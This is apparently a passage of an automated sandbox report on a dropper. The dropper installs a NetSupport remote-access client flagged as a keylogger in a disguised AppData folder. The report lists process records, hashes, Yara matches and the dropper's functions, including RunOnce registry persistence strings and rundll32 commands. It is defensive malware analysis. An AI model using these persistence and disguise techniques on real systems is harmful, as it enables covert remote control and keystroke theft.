Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	04:39:31
Start date:	06/12/2024
Path:	C:\Users\user\AppData\Local\DNScache\client32.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\DNScache\client32.exe
Imagebase:	0x400000
File size:	55'456 bytes
MD5 hash:	9497AECE91E1CCC495CA26AE284600B9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Local\DNScache\client32.exe, Author: Joe Security
Antivirus matches:	Detection: 25%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	04:39:31
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	04:39:32
Start date:	06/12/2024
Path:	C:\Users\user\AppData\Local\DNScache\client32.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\DNScache\client32.exe
Imagebase:	0x400000
File size:	55'456 bytes
MD5 hash:	9497AECE91E1CCC495CA26AE284600B9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000009.00000002.2300141192.000000001118F000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000009.00000002.2300141192.000000001118F000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000009.00000002.2300236676.00000000111DC000.00000004.00000001.01000000.00000009.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	24%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	42.3%
Total number of Nodes:	989
Total number of Limit Nodes:	45

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FF749E1721C Relevance: 54.6, APIs: 17, Strings: 14, Instructions: 372
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF749E172AC
CompareStringA.KERNEL32 ref: 00007FF749E17373
GetProcAddress.KERNEL32 ref: 00007FF749E17511

Part of subcall function 00007FF749E15140: FindResourceA.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E15168
Part of subcall function 00007FF749E15140: SizeofResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E15179
Part of subcall function 00007FF749E15140: FindResourceA.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E1519F
Part of subcall function 00007FF749E15140: LoadResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E151B0
Part of subcall function 00007FF749E15140: LockResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E151BF
Part of subcall function 00007FF749E15140: memcpy_s.MSVCRT ref: 00007FF749E151DE
Part of subcall function 00007FF749E15140: FreeResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E151ED

CompareStringA.KERNEL32 ref: 00007FF749E17475
FreeLibrary.KERNEL32 ref: 00007FF749E175EC
LocalFree.KERNEL32 ref: 00007FF749E17617
FreeLibrary.KERNEL32 ref: 00007FF749E1763A
LocalFree.KERNEL32 ref: 00007FF749E17649

Strings

advpack.dll, xrefs: 00007FF749E176E0
REBOOT, xrefs: 00007FF749E1727B
SHOWWINDOW, xrefs: 00007FF749E172D0
POSTRUNPROGRAM, xrefs: 00007FF749E17436
wextract_cleanup0, xrefs: 00007FF749E1779D, 00007FF749E17860
RUNPROGRAM, xrefs: 00007FF749E173A2
ADMQCMD, xrefs: 00007FF749E1732A
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00007FF749E1776C
<None>, xrefs: 00007FF749E17355, 00007FF749E17457
1st, xrefs: 00007FF749E17530
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 00007FF749E17830
DoInfInstall, xrefs: 00007FF749E17507, 00007FF749E1768D
USRQCMD, xrefs: 00007FF749E1733B
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF749E17548, 00007FF749E1781A

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: Resource$Free$CompareFindLibraryLocalString$AddressLoadLockProcSizeofmemcpy_smemset
String ID: 1st$<None>$ADMQCMD$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DoInfInstall$POSTRUNPROGRAM$REBOOT$RUNPROGRAM$SHOWWINDOW$Software\Microsoft\Windows\CurrentVersion\RunOnce$USRQCMD$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup0
API String ID: 2679723528-430889762
Opcode ID: 7c15d2287e13f44bf5b0efd27726c7da16db5c9add0c0a7c4d9a2026f4990c77
Instruction ID: aa6a040a7b37f1ab65b64b0014a9bf73f09e3382ce4c492b4a1d940e614c0eb6
Opcode Fuzzy Hash: 7c15d2287e13f44bf5b0efd27726c7da16db5c9add0c0a7c4d9a2026f4990c77
Instruction Fuzzy Hash: 27025C73A0C662C6E720BF15A8821B9BBB0FB88B44FC441B5DA4E436A5DF7DE544C720

Function 00007FF749E11A08 Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 181
registrylibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF749E11A4A
memset.MSVCRT ref: 00007FF749E11A58
RegCreateKeyExA.KERNELBASE ref: 00007FF749E11A98
RegQueryValueExA.KERNELBASE ref: 00007FF749E11AEE
RegCloseKey.ADVAPI32 ref: 00007FF749E11B0C
GetSystemDirectoryA.KERNEL32 ref: 00007FF749E11B2A
LoadLibraryA.KERNELBASE ref: 00007FF749E11B4C
GetProcAddress.KERNEL32 ref: 00007FF749E11B6E
FreeLibrary.KERNELBASE ref: 00007FF749E11B84
GetSystemDirectoryA.KERNEL32 ref: 00007FF749E11B9F
LocalAlloc.KERNEL32 ref: 00007FF749E11BFC
GetModuleFileNameA.KERNEL32 ref: 00007FF749E11C3F
RegCloseKey.ADVAPI32 ref: 00007FF749E11C58
RegSetValueExA.KERNELBASE ref: 00007FF749E11CC6
RegCloseKey.KERNELBASE ref: 00007FF749E11CD7
LocalFree.KERNEL32 ref: 00007FF749E11CE6

Strings

advpack.dll, xrefs: 00007FF749E11B36
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00007FF749E11A69
%s /D:%s, xrefs: 00007FF749E11C87
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 00007FF749E11C73
wextract_cleanup0, xrefs: 00007FF749E11AC1, 00007FF749E11ADC, 00007FF749E11CAB
wextract_cleanup%d, xrefs: 00007FF749E11AB5
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF749E11BC6
DelNodeRunDLL32, xrefs: 00007FF749E11B64

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: Close$DirectoryFreeLibraryLocalSystemValuememset$AddressAllocCreateFileLoadModuleNameProcQuery
String ID: %s /D:%s$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DelNodeRunDLL32$Software\Microsoft\Windows\CurrentVersion\RunOnce$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup%d$wextract_cleanup0
API String ID: 1522771004-607953301
Opcode ID: 4787bf835d2d00f0f2994409a2d2f4fd237c0eb5fe9aa116df46f60fe985a84b
Instruction ID: 40f22ddadbc6220a1d01aa97b05ef9f3f07233926311856bfdf06a045caeaa51
Opcode Fuzzy Hash: 4787bf835d2d00f0f2994409a2d2f4fd237c0eb5fe9aa116df46f60fe985a84b
Instruction Fuzzy Hash: 81814933A1CAA1C6E710AF21A8826B9F7B0FB89B54F8452B1DA4E43759DF3DE145C710

Function 00007FF749E11D28 Relevance: 37.1, APIs: 10, Strings: 11, Instructions: 373
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CompareStringA.KERNEL32 ref: 00007FF749E11EDA
GetFileAttributesA.KERNEL32 ref: 00007FF749E11EF4
LocalAlloc.KERNEL32 ref: 00007FF749E11F5F
GetPrivateProfileIntA.KERNEL32 ref: 00007FF749E11F9E
GetPrivateProfileStringA.KERNEL32 ref: 00007FF749E11FE2
GetShortPathNameA.KERNEL32 ref: 00007FF749E12094

Part of subcall function 00007FF749E161E8: LoadStringA.USER32 ref: 00007FF749E16278
Part of subcall function 00007FF749E161E8: MessageBoxA.USER32 ref: 00007FF749E162B8

Strings

rundll32.exe %s,InstallHinfSection %s 128 %s, xrefs: 00007FF749E120B7
setupx.dll, xrefs: 00007FF749E1208D
AdvancedINF, xrefs: 00007FF749E11FCC
DefaultInstall, xrefs: 00007FF749E11F7C
Reboot, xrefs: 00007FF749E11F8B
Command.com /c %s, xrefs: 00007FF749E12147
Version, xrefs: 00007FF749E11FD3
.BAT, xrefs: 00007FF749E12118
.INF, xrefs: 00007FF749E11EBC
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF749E11E52
setupapi.dll, xrefs: 00007FF749E120A2

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: String$PrivateProfile$AllocAttributesCompareFileLoadLocalMessageNamePathShort
String ID: .BAT$.INF$AdvancedINF$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$Command.com /c %s$DefaultInstall$Reboot$Version$rundll32.exe %s,InstallHinfSection %s 128 %s$setupapi.dll$setupx.dll
API String ID: 383838535-3614570713
Opcode ID: a8964570ef33b87a5d7d1497fa9e3870d7258c029606b78bfcc40f5a999078ff
Instruction ID: ae2b72e6cb9f27dd1902e2e391ade5fe0ee4f88a58cebd765978332ad1c4f880
Opcode Fuzzy Hash: a8964570ef33b87a5d7d1497fa9e3870d7258c029606b78bfcc40f5a999078ff
Instruction Fuzzy Hash: 99F18A63A0C692C6EB11BF24E8812A9B7B1FB49784FD441B5DA4E07796DF3DE509C320

Function 00007FF749E1521C Relevance: 35.3, APIs: 14, Strings: 6, Instructions: 299
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF749E15140: FindResourceA.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E15168
Part of subcall function 00007FF749E15140: SizeofResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E15179
Part of subcall function 00007FF749E15140: FindResourceA.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E1519F
Part of subcall function 00007FF749E15140: LoadResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E151B0
Part of subcall function 00007FF749E15140: LockResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E151BF
Part of subcall function 00007FF749E15140: memcpy_s.MSVCRT ref: 00007FF749E151DE
Part of subcall function 00007FF749E15140: FreeResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E151ED

LocalAlloc.KERNEL32 ref: 00007FF749E15268
lstrcmpA.KERNEL32 ref: 00007FF749E15307
LocalFree.KERNEL32 ref: 00007FF749E1532E
LocalFree.KERNEL32 ref: 00007FF749E152E5

Part of subcall function 00007FF749E161E8: LoadStringA.USER32 ref: 00007FF749E16278
Part of subcall function 00007FF749E161E8: MessageBoxA.USER32 ref: 00007FF749E162B8

Part of subcall function 00007FF749E16590: GetLastError.KERNEL32 ref: 00007FF749E16594

GetTempPathA.KERNELBASE ref: 00007FF749E153BA
GetDriveTypeA.KERNEL32 ref: 00007FF749E15456
GetFileAttributesA.KERNEL32 ref: 00007FF749E15473
GetDiskFreeSpaceA.KERNEL32 ref: 00007FF749E154CB
MulDiv.KERNEL32 ref: 00007FF749E154EE
GetWindowsDirectoryA.KERNEL32 ref: 00007FF749E15562
GetFileAttributesA.KERNEL32 ref: 00007FF749E15587
CreateDirectoryA.KERNEL32 ref: 00007FF749E1559F
SetFileAttributesA.KERNEL32 ref: 00007FF749E155CF
GetWindowsDirectoryA.KERNEL32 ref: 00007FF749E1563B

Part of subcall function 00007FF749E164B0: FindResourceA.KERNEL32 ref: 00007FF749E164DA
Part of subcall function 00007FF749E164B0: LoadResource.KERNEL32 ref: 00007FF749E164F1
Part of subcall function 00007FF749E164B0: DialogBoxIndirectParamA.USER32 ref: 00007FF749E16527
Part of subcall function 00007FF749E164B0: FreeResource.KERNEL32 ref: 00007FF749E16539

Strings

A:\, xrefs: 00007FF749E15405
msdownld.tmp, xrefs: 00007FF749E1556E
Z, xrefs: 00007FF749E15446
<None>, xrefs: 00007FF749E152FD
RUNPROGRAM, xrefs: 00007FF749E15250, 00007FF749E152B1
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF749E153A7

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: Resource$Free$AttributesDirectoryFileFindLoadLocal$Windows$AllocCreateDialogDiskDriveErrorIndirectLastLockMessageParamPathSizeofSpaceStringTempTypelstrcmpmemcpy_s
String ID: <None>$A:\$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$RUNPROGRAM$Z$msdownld.tmp
API String ID: 3973824516-1370313076
Opcode ID: 5bc0d93f1511a64e439995c8f6f0222da02598f2c65140cc888923493955dc62
Instruction ID: 50af7563bbd5be376a1e4de580ec082ff6ddfe6e9e809800e85970b5464e5912
Opcode Fuzzy Hash: 5bc0d93f1511a64e439995c8f6f0222da02598f2c65140cc888923493955dc62
Instruction Fuzzy Hash: 80D16223A1C6A2C6EB10BF10A4922BAF7B1FB85744FD440B5DA4E43695DF3DE905CB20

Function 00007FF749E15810 Relevance: 28.2, APIs: 10, Strings: 6, Instructions: 183
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF749E1586B
memset.MSVCRT ref: 00007FF749E1587F

Part of subcall function 00007FF749E15140: FindResourceA.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E15168
Part of subcall function 00007FF749E15140: SizeofResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E15179
Part of subcall function 00007FF749E15140: FindResourceA.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E1519F
Part of subcall function 00007FF749E15140: LoadResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E151B0
Part of subcall function 00007FF749E15140: LockResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E151BF
Part of subcall function 00007FF749E15140: memcpy_s.MSVCRT ref: 00007FF749E151DE
Part of subcall function 00007FF749E15140: FreeResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E151ED

CreateEventA.KERNEL32 ref: 00007FF749E158BC
SetEvent.KERNEL32 ref: 00007FF749E158D2
CreateMutexA.KERNEL32 ref: 00007FF749E15965
GetLastError.KERNEL32 ref: 00007FF749E15981
FindResourceExA.KERNEL32 ref: 00007FF749E15A4C
LoadResource.KERNEL32 ref: 00007FF749E15A63

Part of subcall function 00007FF749E13DF0: GetVersionExA.KERNEL32 ref: 00007FF749E13E3B

#17.COMCTL32 ref: 00007FF749E15A7A
CloseHandle.KERNEL32 ref: 00007FF749E159E7

Part of subcall function 00007FF749E161E8: LoadStringA.USER32 ref: 00007FF749E16278
Part of subcall function 00007FF749E161E8: MessageBoxA.USER32 ref: 00007FF749E162B8

Strings

1st, xrefs: 00007FF749E15893, 00007FF749E15997
INSTANCECHECK, xrefs: 00007FF749E15943
EXTRACTOPT, xrefs: 00007FF749E158E9
VERCHECK, xrefs: 00007FF749E15A42
, xrefs: 00007FF749E159CE
TITLE, xrefs: 00007FF749E1589A

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: Resource$FindLoad$CreateEventmemset$CloseErrorFreeHandleLastLockMessageMutexSizeofStringVersionmemcpy_s
String ID: $1st$EXTRACTOPT$INSTANCECHECK$TITLE$VERCHECK
API String ID: 3100096412-758738835
Opcode ID: 8653199e0f438de8d8069cf14c7024af3c928556c2760d006214bcddc3634e53
Instruction ID: 1c7e16b7a4b2e6b9d5a0ad689e870581da7d0d9204b41e840cd99c6446bad29d
Opcode Fuzzy Hash: 8653199e0f438de8d8069cf14c7024af3c928556c2760d006214bcddc3634e53
Instruction Fuzzy Hash: D9815823A1C662CAF760BF21A8C26B9BAB0BF45784FC450B5D94D46695DF3CE581CB20

Function 00007FF749E15B50 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryA.KERNEL32 ref: 00007FF749E15BA9
SetCurrentDirectoryA.KERNELBASE ref: 00007FF749E15BB8

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF749E15B66

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: CurrentDirectory
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 1611563598-388467436
Opcode ID: 4926850c6f80b5d2401089667c5e764d4b6a610568242aaae11311db6a7c54a3
Instruction ID: 03ef6c50e196acd14468d698aa4ab6088048717fde05fbe96058f4345db717cd
Opcode Fuzzy Hash: 4926850c6f80b5d2401089667c5e764d4b6a610568242aaae11311db6a7c54a3
Instruction Fuzzy Hash: 3DA15A37A1C652CAE720BF20E4866AABBB1FB89744F844175DA4E43B58DF3CE445CB10

Function 00007FF749E14BE0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 124
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF749E15140: FindResourceA.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E15168
Part of subcall function 00007FF749E15140: SizeofResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E15179
Part of subcall function 00007FF749E15140: FindResourceA.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E1519F
Part of subcall function 00007FF749E15140: LoadResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E151B0
Part of subcall function 00007FF749E15140: LockResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E151BF
Part of subcall function 00007FF749E15140: memcpy_s.MSVCRT ref: 00007FF749E151DE
Part of subcall function 00007FF749E15140: FreeResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E151ED

FindResourceA.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF749E14938), ref: 00007FF749E14C10
LoadResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF749E14938), ref: 00007FF749E14C21
LockResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF749E14938), ref: 00007FF749E14C30
GetDlgItem.USER32 ref: 00007FF749E14C5D
ShowWindow.USER32(?,?,?,?,?,?,?,?,00000000,00007FF749E14938), ref: 00007FF749E14C6E
GetDlgItem.USER32 ref: 00007FF749E14C86
ShowWindow.USER32(?,?,?,?,?,?,?,?,00000000,00007FF749E14938), ref: 00007FF749E14C9A
#20.CABINET ref: 00007FF749E14D0D
#22.CABINET ref: 00007FF749E14D53
#23.CABINET ref: 00007FF749E14D68
FreeResource.KERNEL32 ref: 00007FF749E14DB1
SendMessageA.USER32 ref: 00007FF749E14E13

Strings

CABINET, xrefs: 00007FF749E14BED, 00007FF749E14C07
*MEMCAB, xrefs: 00007FF749E14D44

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: *MEMCAB$CABINET
API String ID: 1305606123-2642027498
Opcode ID: c58bcb9b074187ce5f9bb8efe3d3a205079a6ea7fdf4a44bf9905c0b86b0ae6c
Instruction ID: 94b14cc281670ec0dcb644e66c0c74bf2f560926635bff0cd4c35c1584a6154a
Opcode Fuzzy Hash: c58bcb9b074187ce5f9bb8efe3d3a205079a6ea7fdf4a44bf9905c0b86b0ae6c
Instruction Fuzzy Hash: 0251F632A0CA62C6EB50BF10E8D66B5FAB0FB89745FC441B5DA4E42754EF3CE145C620

Function 00007FF749E146E8 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 152
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32 ref: 00007FF749E14763
LoadLibraryA.KERNEL32 ref: 00007FF749E14787
GetProcAddress.KERNEL32 ref: 00007FF749E147A5
DecryptFileA.ADVAPI32 ref: 00007FF749E147C9
FreeLibrary.KERNEL32 ref: 00007FF749E147D2
GetWindowsDirectoryA.KERNEL32 ref: 00007FF749E14803

Part of subcall function 00007FF749E156C8: LocalAlloc.KERNEL32(?,?,?,?,00000000,00007FF749E1471F), ref: 00007FF749E156ED

Strings

DecryptFileA, xrefs: 00007FF749E1479B
advapi32.dll, xrefs: 00007FF749E1476F
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF749E147C2, 00007FF749E14879

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: DirectoryLibrary$AddressAllocDecryptFileFreeLoadLocalProcSystemWindows
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DecryptFileA$advapi32.dll
API String ID: 3010855178-2712585282
Opcode ID: 3224580d353195d237b4fa6d9a4df2d287fae25a5a023bf310db72dc425f098a
Instruction ID: a68ac295db9eca47222c8f543b194adc57cc5205fa35340c0063297afb5128a2
Opcode Fuzzy Hash: 3224580d353195d237b4fa6d9a4df2d287fae25a5a023bf310db72dc425f098a
Instruction Fuzzy Hash: 4071FA23E0C6A3C6FA60BF11E9C3279B6B1BF95791FC540B6D94D82295EF6CE444C620

Function 00007FF749E141EC Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 121
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryA.KERNEL32(?,?,?,?,?,?,0000000A,00007FF749E1807B), ref: 00007FF749E14337

Part of subcall function 00007FF749E14FD8: RemoveDirectoryA.KERNELBASE(0000000A,00007FF749E1807B), ref: 00007FF749E15074
Part of subcall function 00007FF749E14FD8: GetFileAttributesA.KERNELBASE ref: 00007FF749E15083
Part of subcall function 00007FF749E14FD8: GetTempFileNameA.KERNEL32 ref: 00007FF749E150B0
Part of subcall function 00007FF749E14FD8: DeleteFileA.KERNEL32 ref: 00007FF749E150C8
Part of subcall function 00007FF749E14FD8: CreateDirectoryA.KERNEL32 ref: 00007FF749E150D9

GetSystemInfo.KERNEL32(?,?,?,?,?,?,0000000A,00007FF749E1807B), ref: 00007FF749E14284
RemoveDirectoryA.KERNEL32(?,?,?,?,?,?,0000000A,00007FF749E1807B), ref: 00007FF749E14390

Strings

ppc, xrefs: 00007FF749E142A8
mips, xrefs: 00007FF749E142BA
alpha, xrefs: 00007FF749E142B1
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF749E14230, 00007FF749E142E7
i386, xrefs: 00007FF749E142C3

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
